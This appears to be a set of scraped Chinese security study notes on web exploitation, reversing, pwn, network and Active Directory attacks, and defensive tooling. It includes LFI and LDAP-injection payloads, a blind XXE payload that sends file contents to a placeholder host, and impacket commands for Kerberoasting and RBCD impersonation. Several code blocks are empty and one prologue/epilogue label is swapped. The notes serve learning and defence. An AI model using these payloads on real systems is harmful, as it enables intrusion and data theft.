Security Related
比較
資安術語
- APT
簡單的說就是針對特定組織所作的複雜且多方位的網路攻擊。
APT 進階持續性滲透攻擊(Advanced Persistent Threat, APT)可能持續幾天,幾週,幾個月,甚至更長的時間。APT攻擊可以從蒐集情報開始,這可能會持續一段時間。它可能包含技術和人員情報蒐集。情報收集工作可以塑造出後期的攻擊,這可能很快速或持續一段時間。
- DMZ(Demilitarized Zone)|非軍事區 / 中立區: 位於 LAN 與 WAN 之間 的隔離區域
- 特性:
- 放置對外服務(網站、郵件伺服器、FTP 等)
- 受防火牆保護,但可以被外部訪問
- 與內部 LAN 隔離,避免被攻擊時內網受影響
1
2
3
4
5
6
7
8
9Internet (WAN) │ [防火牆] │ DMZ ──對外服務伺服器 │ [內部防火牆] │ LAN ──內部電腦、印表機、伺服器 - 特性:
-
IOC(Indicator of Compromise)入侵指標
當系統被入侵後,攻擊者通常會留下某些 可觀察的痕跡,這些痕跡就叫 IOC。常見的 IOC 類型如下
IOC 類型 例子 IP address 185.220.101.4 (C2 server) Domain malicious-domain.com File hash 5f4dcc3b5aa765d61d8327deb882cf99URL http://badsite.com/payload.exeRegistry key HKCU\Software\Microsoft\Windows\Run\malwareFile path C:\Users\Public\svchost.exeEmail address phishing sender - EASM(External Attack Surface Management):找你暴露在外的東西
EASM 主要是在盤點企業對外暴露的資產,例如網站、子網域、IP 或 API endpoint,目的就是了解攻擊者可以看到哪些入口。
- BAS(Breach and Attack Simulation):模擬攻擊是否成功
BAS 是用自動化的方式去模擬攻擊,例如模擬 malware 或 lateral movement,來驗證現有防禦機制是否有效。
From 林子婷 (飛飛/Phoebe菲比) - CTEM(Continuous Threat Exposure Management):整合 + 持續管理
CTEM 是一個比較完整的流程,包含找攻擊面、風險排序,以及實際驗證攻擊是否可行,並且持續監控與改善。
EASM/BAS/CTEM 這三者其實是互補的,EASM 負責找 attack surface,BAS 負責驗證攻擊,而 CTEM 則是把這些流程整合起來,形成一個持續的風險管理機制。
Web
SQL
SSTI
PHP
偽協議
PHP 偽協議(PHP wrappers / stream wrappers)是指 PHP 內建的一種特殊 URI 協議機制,讓你可以用類似 URL 的方式去讀寫「不同來源」的資料,而不只是單純的檔案。為什麼叫「偽協議」?因為它看起來像:
1 | |
但其實是:
- PHP 內部 stream wrapper
- 不是網路 protocol
- 只是 PHP 處理資料的一種方式
php://filter: 👉 CTF 最常出現(LFI 利用) 範例:1
include("php://filter/convert.base64-encode/resource=index.php");作用:
- 對檔案做轉換
- 可以 base64 encode 原始碼
- 常用來繞過 LFI 讀 source code
典型攻擊如下然後再自己 base64 decode。:
1
?page=php://filter/convert.base64-encode/resource=config.phpphp://input: 用來讀 HTTP request body。1
file_get_contents("php://input");常見用途:
- API 接 JSON
- CTF 裡配合
include()造成 RCE
php://stdout/php://stderr: CLI 環境用。php://memory/php://temp: 建立記憶體中的暫存檔案。file://: 其實是一般檔案讀取。1
file:///etc/passwdphar://:phar本身是一個php特殊的壓縮文件,打包多個php資源到一個*.phar,而phar://就是用來讀取phar內容的wrapper,所以利用phar://讀取phar file時,會直接對其metadata反序列化- PHP8.0以前,這是高階但現在堪用的技巧,因為PHH8.0之後這個features就被改掉了。可以透過反序列化觸發 object injection。凡是只要能夠1)檔案可控 2)用讀檔的任意function讀取,就有機會觸發
- 常見的讀檔function
1
2
3
4
5unlink include file_get_contents getimagesize file_exists("phar://evil.phar/test.txt");
XXE
名詞解釋
- Document Type Definition(DTD): 用來定義 XML 文件的結構規則
- 沒有DTD的xml
1
2
3<creds> <user>admin</user> </creds> - 有DTD的xml
1
2
3
4
5
6
7<!DOCTYPE creds [ <!ELEMENT creds (user)> <!ELEMENT user (#PCDATA)> ]> <creds> <user>admin</user> </creds>這段 DTD 在說:creds 裡面必須有 user,並且user 只能是文字
- 沒有DTD的xml
- DOCTYPE: 用來「宣告」這份 XML 使用哪個 DTD
- Inline: DTD 直接寫在 XML 裡。
1
2
3<!DOCTYPE creds [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> - External: 從外部引入DTD
1
<!DOCTYPE creds SYSTEM "http://example.com/test.dtd">代表去下載 test.dtd ,再用裡面的規則
- Inline: DTD 直接寫在 XML 裡。
- ENTITY: XML 裡面可以被「替換成其他內容」的變數,就像 XML 的「巨集(macro)」或「替換符號」。
-
內建的 ENTITY
Entity 代表 <<>>&& - 自定義 ENTITY
1
2
3
4
5
6<!DOCTYPE creds [ <!ENTITY name "test"> ]> <creds> <user>&name;</user> </creds>解析後
1
<user>test</user> - 外部 ENTITY (External Entity): 會讀檔案或 URL。
1
2
3
4
5
6<!DOCTYPE creds [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <creds> <user>&xxe;</user> </creds>當看到
&xxe;就去讀/etc/passwd再把內容塞進來
-
實際攻擊
XXE 不是 XML 漏洞。而是 XML parser 被允許解析 external entity,如果讀的檔案是個機敏資料,並且有機會顯示出來,那就會是漏洞
Blind XXE
有 XXE 漏洞但伺服器「沒有把讀到的資料回顯給你」
- Payload
1
2
3
4
5
6
7
8<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///path/to/file"> <!ENTITY % dtd SYSTEM "http://0.0.0.0:5000/evil.xml"> %dtd: ]> <roottag>&send;</roottag> - evil.xml
1
2
3<?xml version="1.0" encoding="ISO-8859-1"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://0.0.0.0:5000/?%file;'>"> %all;這是一個標準 Blind XXE + 外部 DTD + OOB 外帶資料的完整攻擊範例
- 送惡意 XML: 也就是主要payload,
- 伺服器讀取本地檔案:
%file利用php filter wrapper讀取 /path/to/file - Base64 編碼
- 載入外部 DTD(evil.xml): 因為執行到主要payload的
%dtd變數 - evil.xml 建立新的 entity: 定義
%all並且%file會先展開 - 伺服器對攻擊者發 HTTP request
- 攻擊者收到檔案內容: 攻擊者的server log會看到
%file→ base64-encode(file:///path/to/file)
為什麼要分成兩段?
因為:在 XML 規範中
不能在內部 DTD 直接把 %file 放進 SYSTEM URL,很多 parser 會擋
也就是不能
1 | |
我們的目的是要達到字串拼接並且把內容傳送出來,所以要:
- 在主 DTD 定義 %file
- 載入外部 DTD
- 在外部 DTD 裡組合 URL
這樣才能成功。
其他
- LFI VS RFI: LFI(Local File Inclusion)
產生的原因是程式設計師未檢查用戶輸入的參數,導致駭客可以讀取server上的敏感文件。開發人員可能貪圖方便,將GET或POST參數直接設定為檔案名稱,直接include該檔案進網頁裡,結果就造成了引入其他檔案,造成資訊洩漏
RFI(Remote File Include)
基本上與LFI概念一樣,只是include的file來源變成從外部引入,觸發條件必須要把php設定參數allow_url_include設定為ON - [Day23]forensics的開始
JWT(Json Web Token)
本質就是一段字串,長這樣:
1 | |
- Header: 怎麼簽
1
2
3
4{ "alg": "RS256", "typ": "JWT" } - Payload: 描述身份
1
2
3
4{ "sub": "admin", "role": "ROLE_ADMIN" } - Signature: 目的是防偽,secret / private key 算出來
正常登入流程
- Login:
POST /login - Server發JWT給User:
eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJST0xFX0FETUlOIn0.xxx - User帶Token存取API:
Authorization: Bearer <JWT> - Server 驗證 JWT
- Parse Header
alg- 用對應方式驗證 signature
- 驗 payload(exp、iss…)
- 決定你是不是 admin
- Login:
Reverse
| Section | Perm | Description |
|---|---|---|
| .text | R-X | Executable Code (Instructions) |
| .data | RW- | Global with initial data |
| .rodata | R— ReadOnly Data | |
| .bss | RW- | Global without initial data |
- Source code → ELF

- ELF → Process

DLL Reverse
可以直接在IDA中使用[Ctrl+E]找Entry Point會方便很多
1 | |
例子
1 | |
Calling Convention
x86
-
Linux:
x86 呼叫慣例⼤部分會將 Parameters 往 Stack 上⾯堆,回傳值放到 edx:eax (超過 32bit 的話): stdcall, fastcall, thiscall, cdcel, …
- fastcall
- 前兩個參數分別放於 ecx, edx
- 其他都堆到 Stack 上
- stdcall
- 在 Win32 上⾯⽤的
- 參數全都堆到 Stack 上⾯
- 由 Callee 做 Stack Cleanup
- fastcall
-
Windows: stdcall, fastcall, thiscall, cdcel, …
x64
- Linux: x64 則是依賴 Register 傳參
- Syscall Number: RAX
- Parameters: RDI, RSI, RDX, r10, r8, r9, Stack
- Return Value: RAX
- Windows:
- 前四個依序放入 rcx, rdx, r8, r9
- 其餘放上 stack
- MSDN — x64 calling convention
C ABI
- Return Value: RDX:RAX
- Parameters: RDI, RSI, RDX, RCX, r8, r9, Stack
Function Epilogue / Function Prologue
Stack Register
- SP(Stack Pointer Register)
- 指向 Stack Frame 的頂端
- BP(Stack Base Pointer Register)
- 指向 Stack Frame 的底部 ``` // Function Epilogue endbr64 push rbp mov rbp, rsp sub rsp, 30h mov rax, fs:28h
// Function Prologue leave // = mov $rsp, $rbp; pop $rbp;` retn // = pop $rip
1 | |
為什麼需要 Callback?
因為有些事情:
- 什麼時候發生不知道
- 不是你主動控制
- 是「事件驅動」
如果是 GUI 程式(例如在 Microsoft Windows),假設不用 callback,你會被迫寫:
1 | |
問題是
- ❌ CPU 會一直跑
- ❌ 效率差
- ❌ 程式很醜
- ❌ 很難擴充
APC (Asynchronous Procedure Call)
在thread中非同步執行的callback function,用 QueueUserAPC 註冊,一種讓「某個 thread 在稍後安全時機執行指定函式」的機制。
- 👉 不是立刻打斷執行
- 👉 而是在「thread 進入可被插入的狀態」時執行
- 觸發 callback 時機
- 當 thread 處於 alertable state 時,也就是安全的時機點,例如:
1
2
3
4
5SleepEx WaitForSingleObjectEx SignalObjectAndWait MsgWaitForMultipleObjectsEx WaitForMultipleObjectsEx此時Windows 會檢查 APC queue,有的話就執行
- thread 初始化時
- 當 thread 處於 alertable state 時,也就是安全的時機點,例如:
1 | |
-
為什麼需要 APC?
想像這種情況:Kernel 想通知某個 user thread 做事,但不能直接中斷它(避免破壞執行狀態),需要等「安全點」再執行,這時就用 APC。
-
Malware會用的技巧
-
Process Injection 技術: APC Injection
攻擊流程:
1
2
3
4
5OpenProcess VirtualAllocEx WriteProcessMemory QueueUserAPC ResumeThread把 shellcode 排入 target thread 的 APC queue。當 thread 進入 alertable state:👉 shellcode 執行
- DLL Injection
- Early Bird APC Injection
- Process Hollowing
- Reflective DLL Injection
-
TLS Callback - MSDN
先講TLS(Thread Local Storage,不是指網路介面的Transport Layer Security)是什麼?也就是每個執行緒都有自己「獨立的一份變數」
假設如果是多執行緒:
1 | |
Thread A 改 counter,Thread B 也改 counter,就會互相干擾。所以TLS可以讓thread A/B各自擁有獨立的counter,範例如下
1 | |
- 在 Microsoft Windows:TLS 是存在TEB (Thread Environment Block),在PE檔案中,會有TLS Directory,利用PE-bear/IDA/x64dbg等工具看出來
- TLS Callback: thread會在entry point之前執行的callback function,這在 malware 裡超常見。
1
2
3
4
5Program start ↓ TLS callback 先執行 ↓ 然後才到 EntryPoint
Malware Reverse
- 初始存取 & 執行: 利用釣魚郵件
- Defense Evasion: 惡意程式用來「躲避偵測、分析、或防毒軟體」的技術
- 將惡意程式設為隱藏檔案
- 執行後刪除惡意程式
- 關閉、打下防毒軟體
- 清除 Windows Event Log
- Att&CK - T1480 (Execution Guardrails): 只在環境符合特定條件時執行,針對特定對象進行攻擊,常見條件:漏洞、系統語言、時間、Hostname…
1
2
3
4SystemTimeToFileTime CreateWaitableTimerW SetWaitableTimer WaitForSingleObject - Att&CK - T1497 (Virtualization/Sandbox Evasion): 偵測若處於 VM 或是自動化分析環境之中,則改變 / 隱藏惡意行為,常見偵測項目:網卡、memory 大小、分析工具、延遲執行
- Att&CK - T1027.009 (Obfuscated Files or Information: Embedded Payload): 真正的malware file會embedded在啟動的檔案中,避免一落地被偵測到,所以落地後需要經過一系列的extract或解密
- Att&CK - T1055 (Process Injection): 把程式碼注入到其他 process 的手法,不會建立獨立的 process,而是把惡意行為隱藏在正常 process 中,以躲避 process 級別的偵測,若能注入高權限 process,則有機會提權
1
2
3VirtualAllocEx WriteProcessMemory CreateRemoteThread一般程式較少對其他 process 做寫入和建立 thread,使用這些 API 十分容易被偵測
- 持續潛伏 Persistence
- 註冊 scheduled task,定期執行惡意程式
- 建立後門帳號
- Att&CK - T1547 (Boot or Logon Autostart Execution): 當malware落地後並且被執行,就要把自己複製到startup folder,並且設定自己的權限
1
2
3
4GetModuleFileNameA GetUserNameA CopyFileA SetFileAttributesA - Att&CK - T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)
- Att&CK - T1543.003 (Create or Modify System Process: Windows Service)
- Att&CK - T1053.005 (Scheduled Task/Job: Scheduled Task)
- 權限提升 Privilege Escalation
- 利用漏洞將使用者提權至 Administrator
- 憑證存取 Credential Access
- 從作業系統取得明文密碼、NTLM hash
- 探索 Discovery
- 掃描系統上的帳號,內網中的網路服務、芳鄰、其他機器
- 橫向移動 Lateral Movement
- 透過 RDP、WinRM ,利用已取得的 credential 或本身權限移動至其他機器
- 蒐集 Collection
- 蒐集文件、瀏覽器、Email、剪貼簿等資料
- Att&CK - T1115 (Clipboard Data): 收集複製貼上的內容,如果剛好複製了帳號、密碼、信用卡號就
- 指揮與控制 Command & Control (C2)
- 與攻擊者的 C2 server 連線,取得後續指令
- 滲出 Exfiltration
- 將資料透過連線傳回攻擊者的 C2 server
PE File Format
- VA(Virtual Address) = ImageBase(映射到process memory的起始位址) + RVA(Relative Virtual Address,位移): ImageBase:PE 映射至 process memory 中的位址

- Windows 版本的ELF
- DOS Header, Stub:向下相容 DOS,大多數欄位無用
- 0x00: “MZ” (0x5A4D) 字串,Magic number,用於標示 PE 的起始點
- 0x3C: e_lfanew,NT Headers 的 file offset
- NT Headers = File Header + Optional Header:紀錄檔案及 loader 載入時所需的 metadata
- 執行所需的系統架構
- 編譯時間
- ImageBase
- 程式進入點 (Address of Entrypoint)
- enable / disable ASLR
- Import, Export, Relocation Table
- Section Headers:紀錄各 section 的 metadata
- Section Data:各 section 資料
- .text, .data, .idata, …
- DOS Header, Stub:向下相容 DOS,大多數欄位無用
Dynamic API Resolution
實務上非常重要,詳細說明看Simple Reverse - 0x24(2023 Lab - WinMalware - Dynamic API Resolution Background)
PWN
ELF Section
- Plt(Procedure Linkage Table): 支援 dynamic linking ,當程式呼叫 external function 時使用。
-
PLT 的作用
假設程式:
1
main → printf實際流程:
1
2
3
4
5
6
7main ↓ printf@plt ↓ dynamic linker ↓ real printf (libc) -
Lazy Binding: 在 Dynamic Link 的 Binary 中,有些 library function 可能因為程式流程,到執行結束都不會被 call 到
Lazy Binding 會在 第一次 call 到 library function 的時候才會去找出那個 function 真正的 Address ,找到之後存在 GOT (Global Offset Table),後續如果再 call 到那個 function ,就可以直接從 GOT 得到 Address 。
plt上的code實際上是直接查詢該function的GOT,然後跳過去GOT上存的Address,GOT一初始存的Address則是會指向一段尋找function Address 的code
-
- Text: 存放 CPU 會實際執行的程式碼。
- Rodata: Read-Only Data(唯讀資料)
- Data: 已初始化的全域 / 靜態變數
- Bss: 未初始化的全域 / 靜態變數
- Got(Global Offset Table): 紀錄 Library 裡面 function 的實際 Address,在該 function 都沒被 call 過時,會是存一個位於 plt 段的 Address 可以利用 GOT 來 leak libc 的 base
- PLT 會透過 GOT 找到真正函式。
1
2printf → libc address malloc → libc address結構
1
2
3
4
5PLT ↓ GOT entry ↓ actual function
- PLT 會透過 GOT 找到真正函式。
- Init fini
Stack Frame

checksec保護
- No RELRO or Partial RELRO → GOT Hijacking(改寫GOT)
- No RELRO - link map和GOT都可寫(有lazy binding)
- Partial RELRO - link map不可寫,GOT可寫(有lazy binding)
- Full RELRO - link map和GOT都不可寫(事先把library的位置都先resolve完並寫在GOT上,再把GOT權限關掉,比較花時間但安全)
- 關閉指令:
-z norelro
- PIE(Position Independent Executable) → BOF(ret2 series),開啟時,data 段以及 code 段位址隨機化
- 關閉指令:
-no-pie
- 關閉指令:
- NX (No eXecute, Data Execution Prevention, DEP) off → 基本上不能直接執行shellcode,但可以用ROP繞過 → 可寫得不可執⾏,可執⾏的不可寫
- 關閉指令:
-zexecstack
- 關閉指令:
- ASLR (Address Space Layout Randomization): 記憶體位址隨機變化,每次執⾏時,stack、heap、library 位置都不⼀樣
- 關閉指令:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" - 打開指令:
sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
- 關閉指令:
- Stack Canary
- 關閉指令:
-fno-stack-protector
- 關閉指令:
Stack Vulnerability
BOF
沒有檢查輸入長度,當輸入的惡意payload蓋到stack上的return address,就有可能RCE
1 | |
ROP(Return Oriented Programming)
就是一大堆在 text segment 的 code 片段,結尾都是ret instruction,前面可能會有一些pop rsp, pop rbp, jmp之類的指令,這個好處是可以透過這個feature,達到好幾個不同的攻擊手法
- 用 ROP call mmap 拿到一塊 rwx 的 memory 繞過 NX 保護
GOT Hijacking
在RELRO為Partial RELRO的前提下,把 GOT 寫成我們想要的 Address ,然後去 call 該 function
ret2plt
1 | |
Stack Pivot
如果bof的長度不夠可以考慮的技巧,透過 leave ; ret 來控制 stack frame
Format String Attack
printf 系列 function 的 format string 可控的惡意利用,也就是如果source code有使用到format類型的print,那麼就有機會利用format本身的特性,leak/write data
- Calling Convention
- rdi rsi , rdx , rcx , r8, r9, [rsp], [rsp+8], [rsp+0x10],…
- 前五個
%p會 leak reg ,6th 開始 leak rsp 上的 data
- 若該值為 addr 可透過
%s輸出該地址的 value - 可以 自行在 stack 上寫入 addr 來做到任意 leak
- •% 可以直接指到第 N 個參數
Network
ARP Spoofing
- 攻擊者發送 假的 ARP reply:
192.168.1.1 is attacker_MAC - 受害者就會更新 ARP table:
192.168.1.1 → attacker_MAC - 結果:Victim → Attacker → Router,所有流量先經過 attacker。
攻擊效果
- MITM(Man in the Middle)
- 竊聽流量
- 修改流量
- Session hijacking
- SSL stripping
- DoS
DNS Spoofing(DNS Cache Poisoning)
- 攻擊者讓受害者的 DNS 解析結果變成:
bank.com → attacker_IP - 結果:使用者訪問:
bank.com,卻被導向:attacker server
攻擊結果
- Phishing
- Credential stealing
- Malware distribution
防禦方法
- DNSSEC
- HTTPS / HSTS
- DNS query randomization
- 不使用不可信 DNS server
DHCP Spoofing
在同一個 LAN 中,攻擊者架設一個 假的 DHCP server。當 victim 連上網路時:Victim → DHCP Discover,攻擊者比真正 DHCP server 更快回應:Attacker → DHCP Offer,victim 就會接受 attacker 提供的設定。
攻擊者可以控制什麼
攻擊者可以指定:
- Gateway
- DNS server
- IP address
後續的攻擊手法
- MITM attack: 篡改封包
- DNS Spoofing
- DoS: 給 victim 一個錯誤 gateway:
Gateway = 0.0.0.0
SYN Flood
是一種利用 TCP 連線機制的 阻斷服務攻擊(DoS),目的是讓伺服器資源被耗盡,使正常使用者無法建立連線。
攻擊者大量發送 SYN 封包,但不完成 TCP 連線,讓伺服器的連線佇列被塞滿。
TCP 建立連線需要 三次握手(Three-way handshake):
1 | |
完成後:connection established
防禦方法
- SYN Cookies: Server 不立即分配資源,而是把資訊放在 cookie。
- Firewall / IDS:
Snort, Suricata可以偵測 SYN flood pattern。 - Rate limiting: 限制 SYN request 數量。
Windows AD
更多密碼的方式
Kerberoasting
在 AD 裡某些服務(例如 SQL、Web Server)會用「服務帳號(service account)」,這些帳號會註冊一個 SPN(Service Principal Name),當你請求該服務時,Kerberos 會給你一張 加密的ticket(TGS)
問題來了,這張 ticket 是用「服務帳號的密碼」加密的,攻擊者可以:拿到這張 ticket → 離線暴力破解 → 還原出服務帳號密碼
- 需要一個合法帳號(普通user也可以)
- 查詢有哪些 SPN(服務帳號)
1
$ GetUserSPNs.py domain/user:password -request # 找出所有 service account - 拿到 TGS(加密票證)
- 離線破解密碼: hashcat or john
- 拿到密碼後可以
- 登入系統
- 橫向移動
- 提權
提權
RBCD(Resource-Based Constrained Delegation)
透過修改目標電腦的 delegation 屬性,使攻擊者控制的 machine 可以代表任意使用者取得服務票,進而 impersonate 高權限帳號。
- 條件: 允許某台電腦(A)代表使用者,去存取另一台電腦(B)的服務
- 有一個可以控制的foothold
- 這個帳號的權限可以新增machine account(一般使用者可以加 10 台電腦(MachineAccountQuota))
- 你對目標 machine 有寫權限(關鍵),例如
GenericAll = Full control(WriteProperty + WriteDACL) → DC$,代表可以修改 DC 的屬性
- 攻擊流程
- 建立一台可以完全控制的machine
1
$ impacket-addcomputer <domain>/<controlled account name>:'<controlled account passwd>' -dc-ip <dc ip> -computer-name <new computer name> -computer-pass <new computer passwd> - 寫入 delegation: 現在變成 DC 信任前面建立的 machine
1
$ impacket-rbcd <domain>/<controlled account name>:'<controlled account passwd>' -dc-ip <dc ip> -action write -delegate-from <new computer name> -delegate-to DC$ - 用 Kerberos S4U
- S4U2Self: AKE$ 說:我要一張「Administrator 的票」,KDC 會給(但不能用)
- S4U2Proxy: FAKE$ 再說:我要用這張票去存取 DC 的服務,因為你剛剛設定:FAKE$ 被允許 acting on behalf of others,所以 KDC 會發一張「Administrator → DC」的 service ticket
1
$ impacket-getST <domain>/<new computer name>:'<new computer passwd>' -dc-ip <dc ip> -spn cifs/DC.<domain> -impersonate Administrator
DC 不會驗證:「你是不是 Administrator」,它只驗證:「你有沒有 delegation 權限」
- 建立一台可以完全控制的machine
Persistent
- Golden Ticket: 拿到krbtgt這個高權限帳號的hash就等於拿到domain admin,可以利用這個帳號偽造一個TGT,並且會自動透過這個TGT拿到TGS,我們就可以利用偽造的TGT去access任意的service,最簡單mitigate的方式就是把krbtgt的密碼改掉
資安工具與平台
Overview
| 技術 | 類型 | 主要位置 | 主要資料來源 | 是否可阻擋攻擊 | 主要功能 | 偵測方 | 與其他技術的關係 | 常見產品 / 工具 |
|---|---|---|---|---|---|---|---|---|
| Firewall | Network Protection | Networ | IP、Port、Protoco | ✅ 可以 | 控制網路流量(allow/deny) | rule-based | 最基礎的網路防禦 | Palo Alto, Fortinet, Cisco ASA |
| IDS(Intrusion Detection System) | Network Detection | Network | network packets(分析封包內容) | ❌ 不會阻擋 | 偵測網路攻擊並發出 alert | signature / anomaly | IPS 的前身 | Snort, Suricata |
| IPS(Intrusion Prevention System) | Network Protection | Network | network packets | ✅ 可以 | 偵測並自動阻擋攻擊 | signature / anomaly | IDS + blocking | Snort IPS, Suricata IPS |
| NDR(Network Detection & Response) | Network Detection | Network | full packet capture、NetFlow、metadata | ⚠️ 可自動回應 | 分析網路行為偵測攻擊 | behavioral / ML | IDS 的進階版 | Darktrace, Vectra AI |
| NSM(Network Security Monitoring) | 方法論 / 架構 | Network | packet capture、session data、alerts | ❌ 不直接阻擋 | 持續監控網路並支援 threat hunting | traffic analysis | NDR 的概念來源 | Zeek, Arkime |
| EDR(Endpoint Detection & Response) | Endpoint Security | Endpoint (host | process、memory、file、registry | ⚠️ 通常可隔離主機 | 偵測主機攻擊並回應 | behavioral analysis | endpoint security | CrowdStrike, Microsoft Defender |
| SIEM(Security Information and Event Management) | Log Analysis Platform | Centralized platform | logs (server、firewall、endpoint) | ❌ 不直接阻擋 | 集中 log 收集、分析、告警 | correlation rules | SOC 核心平台 | Splunk, ELK, QRadar |
| XDR(Extended Detection & Response) | Integrated Detection Platform | Cross-platform | endpoint + network + cloud + email | ⚠️ 可自動回應 | 跨平台威脅偵測 | correlation + analytics | EDR + NDR + SIEM 的整合 | Microsoft XDR, Cortex XDR |
| MDR(Managed Detection & Response) | Security Service | SOC service | SIEM / EDR / NDR data | ⚠️ 可進行 incident response | 外包資安監控與事件處理 | human + tool | SOC as a service | CrowdStrike MDR, SecureWorks |
1 | |
IDS(Intrusion Detection System, 入侵偵測系統) - Layer 3 ~ Layer 7
簡答: 從名字就可以看的出來,他是針對流入流出的各種封包的偵測系統,也就是獨立於Firewall的旁之,如果他有檢測到封包內有什麼異常的Payload或是pattern,就會跳出告警,但就僅只於此,不會再做更多的操作
詳答: What is IDS(Intrusion Detection Systems)?
入侵偵測系統(Intrusion Detection System,IDS)是用來偵測資訊系統或網路上潛在的惡意破壞活動
- 網路型入侵偵測系統(NIDS):主要是由一個或多個偵測器,加上收集與分析資料的主控臺所組成,可以分析每個通過的網路封包,並與已知的攻擊特徵進行比對,如果符合某項攻擊特徵,系統就會啟動防護機制,例如發簡訊或命令防火牆中斷該連線。
- 主機型入侵偵測系統(HIDS):是從主機系統稽核日誌檔演進而來,必須在主機上安裝代理程式﹙Agent﹚,負責監視主機內部的程序,並監控記錄檔與可疑活動,若有任何系統事件都會被記錄至日誌檔,並與攻擊特徵資料庫比對,判斷主機是否遭到攻擊
- 誘捕型入侵偵測系統(Deception Systems):目的是偵測未經授權的活動,任何進出誘捕系統的封包都會被認定是可疑的。但它卻是受到爭議的產品,有些廠商認為誘捕型系統只適合學術研究,因為它誘導駭客上勾,因此收集的證據無法用來起訴駭客
IPS(Intrusion Prevention System, 入侵防禦系統) - Layer 3 ~ Layer 7
IPS就是要改進上述的問題,他主打的就是偵測壞壞的東西就會主動的防禦掉,但這樣還是有一個問題,現今的攻擊手法越來越多種,而且有時候是那種可以包裝成安全落地的形式,必須要在本地端監控才有辦法知道
EDR(Endpoint Detection and Response, 端點偵測與應對)
EDR就是在做這樣的事情,可是有可能會有一個疑問,每個人的主機內不是都有安裝那種傳統的Windows Defenders或是小紅傘那種東西,為什麼還需要有EDR,其實現今的攻擊手法已經有很大的變化,有可能單純看個人的裝置會看不出個所以然,必須要聯合其他的裝置一起做關聯性的比對才會知道目前是不是正在遭受攻擊,所以EDR強大的地方在於他做到各個裝置endpoint端點的串聯,讓資安事件的偵測和防禦可以更嚴謹,這也是中小型企業最需要的資安產品
MDR(Managed Detection and Response, 受管式偵測與應對)
這東西其實就是一個EDR+SOC的服務衍生的產品,也就是把SOC外包出去的意思,但ddaa說這個東西要做出市場區隔可能還沒有到太創新
XDR(Extended detection and response)
簡單來說EDR只能特定範圍或是單一產品上做到端點偵測,但XDR是能夠跨各個資安產品或是layer達到更全面的偵測以及比對事件的結果
NSM(Network Security Monitors)
資料來源: NSM 02: 網路安全監控概論之一
NSM主要目的是偵測、找出入侵者,提高能見度。它建立在「我們一定會被攻擊,而且最終防禦一定會被突破」的思惟上。假設意志堅決的駭客最終打穿我們辛苦建立的防禦,但只要能在入侵者進一步破壞、感染系統前偵測、做出回應,讓入侵者無法達到目的,便能阻擋這波攻擊 NSM不是等接收IDS/IPS等等資安設備觸發警示後才開始收集,而是平時便預先主動收集資料,提供NSM平台審視、分析,強化可見度,主動找出入侵軌跡
SIEM(Security Information and Event Management)
資料來源: Day 15 機器幫你管日誌: SIEM 安全資訊事件管理系統 (1)
SIEM的功能和一般日誌管理工具類似,都會將來自不同伺服器和設備的日誌和事件紀錄集中在一個地方 (通常是Log server伺服器本身硬碟或特定的儲存池Storage pool),避免日誌和紀錄隨著機器故障遺失,符合稽核要求,可以進行關鍵字或日期查詢,所以也有人直接用日誌管理工具來進行分析 功能
- 彙整、解讀多項系統設備日誌
- 資料圖形化
- SIEM具備強大的比對Correlation 功能: e.g.帳號登入失敗、創建新帳號、帳號權限提升等等可能是攻擊行為也可能是網管的正常登入,要看一連串的流量或封包資料才能判斷$\to$耗費人力
- 整合其他資安工具或資安服務
資安框架
Cyber Kill Chain VS. MITRE ATT&CK
Cyber Kill Chain 描述「攻擊流程階段」 MITRE ATT&CK 描述「攻擊者實際使用的技術」
Cyber Kill Chain
- Reconnaissance → 收集公司資訊
- company email format
- employee roles
- Github
-
DNS Records
- Port Scanning(nmap>)
- Subdomain Enumeration(subfinder)
- Directory Brute Force(dirsearch)
- Weaponization (攻擊者把 exploit、malware、payload 組合成可以實際攻擊受害者的「攻擊武器) →
- Office macro + malware loader
- PDF exploit + reverse shell
- Phishing page + credential stealer
- Word document + malicious macro + PowerShell downloader
- Delivery → 發 phishing email
- email(malicious link / attachment)
- Web Downloads
- USB
- Supply chain
- Exploitation → exploit macro
- Installation → 安裝 malware
- 安裝後門
- Create Persistence
- Drop Malware
- Command & Control → 與 attacker server 通訊
- Cobalt Strike
- Metasploit
- Sliver
- Empire
- Actions on Objectives → data exfiltration
- Steal(Database / Confidential Files)
- 提權
- Ransomware
OWASP Top 10
最常見的 Web Application Security
- A01 Broken Access Control
- IDOR(Insecure Direct Object Reference): 總之就是沒有設定data access的權限,導致可以利用URL或parameter存取到data並且修改
1
https://example.org/users/123 → https://example.org/users/124 - CSRF
- IDOR(Insecure Direct Object Reference): 總之就是沒有設定data access的權限,導致可以利用URL或parameter存取到data並且修改
- A02 Cryptographic Failures
- MITM attack
- SSL pinning 來防止中間人攻擊 (Mobile)
- HTTPS / TLS 設定正確(Transport Layer Security, HSTS)
- A03 Injection
- SQLi
- LDAP Injection: LDAP是一種用來存取「目錄服務(Directory Service)」的網路協定,目錄服務可以理解為:一個專門存放組織資訊的資料庫,常見儲存內容:
使用者帳號、密碼(hash)、email、部門、群組權限、電腦設備,很多企業內部系統的 登入驗證 都會透過 LDAP。常見實作包括:Microsoft Active Directory,所以既然這是一個database,就存在和database server溝通的場景,query command就可能存在injection的risk(&(uid={username})(userPassword={password})) ↓ username = *)(uid=* password = anything ↓ (& (uid=*) (uid=*) (userPassword=anything) ) - XSS
- Command Injection
- A04 Insecure Design: 系統設計階段未考慮安全風險,可能被濫用
- 威脅建模(Threat Modeling)
- 濫用情境分析(Abuse Case)
- 攻擊面分析(Attack Surface Analysis)
- A05 Security Misconfiguration
- debug mode enabled
- directory listing
- default credentials
-
XXE(開啟讀取External DTD/External Entities/允許DOCTYPE Declaration)
如何預防:
- 使用安全配置的 XML parser(如 Java 的 XMLInputFactory 關閉 DTD 與 external entities),因為xxe的攻擊前提在於開啟了不必要的兩個feature,讓attacker可以構造出一組讀取自創的DTD或是外部entity,達成LFI(算是?)
- 避免不必要的功能開啟
- 做好輸入驗證和最小權限策略
